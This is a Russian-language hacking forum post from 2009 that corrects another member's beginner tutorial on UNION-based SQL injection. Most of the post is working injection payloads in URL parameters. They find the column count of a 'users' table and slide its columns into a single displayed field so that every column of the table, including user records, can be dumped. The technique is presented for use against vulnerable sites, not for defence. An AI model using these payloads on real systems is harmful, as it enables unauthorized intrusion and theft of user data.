Показать сообщение отдельно

  #9  
Старый 25.02.2009, 14:40
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию

Всё же статья для новичков, поэтому счёл своим долгом поправить cr0w, а то материал как-то странно подан
Цитата:
Сообщение от cr0w  
Имеется вывод нескольких полей
Это зачем?
Цитата:
Сообщение от cr0w  
Обычно, далеко не все получаемые запросом поля выводятся, поэтому не факт, что нам выведется именно нужная полезная информация
А это почему? Зависит от расположения меркурия в венере?

=======================================

Вот вывод ВСЕЙ информации из users в которой 5 полей, через ОДНО принтабельное поле.

Допустим: инъекция, 14 полей , вывод в 6. Поехали:

?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14

Подбираем количество полей в users:
?id=-1+union+select+*+from+users,(select+1)a
?id=-1+union+select+*+from+users,(select+1,2)a
?id=-1+union+select+*+from+users,(select+1,2,3)a
.....
?id=-1+union+select+*+from+users,(select+1,2,3,4,5,6,7, 8,9)a

Есть

У нас получилось искомые 14 полей - 9 из таблицы "а", значит в users полей 5
Выводим. Принтабельное поле 6 значит под него нужно подгонять вывод.
?id=-1+union+select+*+from+(select+1,2,3,4,5)b,users,(s elect+1,2,3,4)a
Вывод 1-го поля из таблицы users. Тоесть фактически выбираем из 3 таблиц "b","users" и "a". Первые 5 полей в которых нет вывода забиваем таблицей "b", затем в принтабельное 6 поле выводим 1-е поле из users , далее идут остальные 4 поля users и наконец, что-бы добить до 14 , 4 поля из "a".
Далее, 2-е поле из users. Смещаем:
?id=-1+union+select+*+from+(select+1,2,3,4)b,users,(sel ect+1,2,3,4,5)a
3-е поле
?id=-1+union+select+*+from+(select+1,2,3)b,users,(selec t+1,2,3,4,5,6)a
4-е и 5-е
?id=-1+union+select+*+from+(select+1,2)b,users,(select+ 1,2,3,4,5,6,7)a
?id=-1+union+select+*+from+(select+1)b,users,(select+1, 2,3,4,5,6,7,8)a


Вот как это выглядит наглядно:
Цитата:
1 2 3 4 5 | 6 7 8 9 0 | 11 12 13 14
( "b" ) |users 5 столбцов| ("a")
<= и двигаем users туда сюда =>
Ну и другой пример, с принтабельными двумя и невозможностью вывода всей инфы этим способом.

Допустим : те-же 14 полей, та-же users c 5 полями, но вывод в 1 и 14
?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14
Сдесь мы сможем вывести только 1-е и 5-е поле из users. Тоесть:
?id=-1+union+select+*+from+users,(select+1,2,3,4,5,6,7, 8,9)a
первое, и дальше мы её не сдвинем, и последнее:
?id=-1+union+select+*+from+(select+1,2,3,4,5,6,7,8,9)a, users

Выводы:
что-бы воспользоваться этим способом, нам не нужно несколько принтабельных полей, достаточно одного, но удачно расположенного и тогда возможно вывести все данные из интересующей таблицы. Зависимость этого метода от количества полей в запросе, количества полей в выводимой таблице и расположения принтабельного поля

PS Я тут не рассматривал варианты с выводом в цикле и другую экзотику, просто поправил и надеюсь более доступно довёл только ту информацию которую предоставил cr0w